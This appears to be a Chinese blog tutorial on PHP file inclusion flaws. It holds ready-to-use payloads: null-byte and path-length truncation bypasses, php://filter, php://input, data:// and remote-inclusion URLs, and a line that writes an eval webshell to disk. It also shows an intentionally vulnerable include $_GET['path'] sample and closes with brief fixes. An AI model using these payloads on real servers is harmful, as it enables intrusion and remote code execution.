文件包含
当我们在遇到文件上传并且有白名单校验的时候,利用文件包含可以getshell(brupsuit)上传文件,该文 件后缀名(php),插入一句话木马,用菜刀连接
原理
程序员通常会把可重复使用函数或语句写到单个文件中,在使用某个功能时,直接调用此文件,不用再编写调用文件的过程称为包含。
PHP 中的⽂件包含语句 PHP 提供了四个⽂件包含的语句,四个语句之间略有不同:
include()多次包含,如果包含失败,脚本产⽣警告,继续运⾏。
include_once()⼀次包含,如果包含失败,脚本产⽣警告,继续运⾏。
require()多次包含,如果包含失败,脚本产⽣错误,结束执⾏。
require_once()⼀次包含,如果包含失败,脚本产⽣错误,结束执⾏。
⽂件包含是PHP 的基本功能之⼀,有本地⽂件包含与远程⽂件包含之分。
#文件包含各个脚本代码
ASP, PHP,JSP,ASPX等
<!--#include file="1.asp" -->
<!--#include file="top.aspx" -->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<*@ include file="head.jsp"%>
<?php Include('test.php')?>
#漏洞识别检测
代码审计
漏扫工具
公开漏洞
手工看参数值及功能点
类型
本地包含
本地⽂件包含就是可以读取和打开本地⽂件,无限制可读取任意文件,有限制只能读取指定后缀文件.
有限制可绕过
00截断:条件: magic_quotes_gpc = Off php版本<5.3.4
filename=../../../www.txt%00
长度截断:条件:windows,点号需要长于256; linux 长于4096
1.txt/./././././././././././././././././././././././././././././././.
1.txt……………………………………………………………….
参考文件上传绕过思路
远程包含
远程⽂件包含就是可以远程(⽅式)加载⽂件。 可通过php的配置文件php.ini中的选项进行配置
条件: /php
allow_url_fopen = On/Off # http://|ftp:// 访问远程⽂件
allow_url_include = On/Off # require|include http://|ftp:// 访问远程⽂件
有后缀限制可绕过
%23
%00
%20
?
利用
http
ftp
File
各种脚本支持协议
#各种协议流玩法
参考 https://www.cnblogs.com/endust/p/11804767.html
http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt
http://127.0.0.1:8080/include.php?filename=php://input (Post:) <?php system('ver')?>
<?PHP fputs (fopen('s.php', 'w'),'<?php
@eval ($_POST[cmd]) ?>');?>
http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt
http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo (); ?>
相应配置:
allow_url_fopen = On/Off # http://|ftp:// 访问远程⽂件
allow_url_include = On/Off # require|include http://|ftp:// 访问远程⽂件
包含示例: 示例代码:
// fileInclusion.php
if(!empty($_GET['path'])){
include $_GET['path'];
}else{
echo "?path=./info.php"; }
12345
本地文件包含:
http://192.168.16.109/fileInclusion/fileInclusion.php?path=./info.php
远程⽂件包含
http://localhost/fileInclusion/fileInclusion.php?
path=http://192.168.16.109/phpinfo.php
优点:
PHP ⽂件包含是程序设计的基础功能之⼀,能够减少代码量,提⾼开发效率。
缺点
会产生文件包含漏洞 漏洞原理:文件包含配置(php.ini)、动态调用、客户端可控。
特点:
⽆视⽂件扩展名读取⽂件。
直接读取图⽚的源代码
http://192.168.48.139/fileInclusion/fileInclusion.php?
修复
固定后缀
固定文件
WAF产品
标签:文件,include,http,包含,php,fileInclusion From: https://www.cnblogs.com/xlvbys/p/17588908.html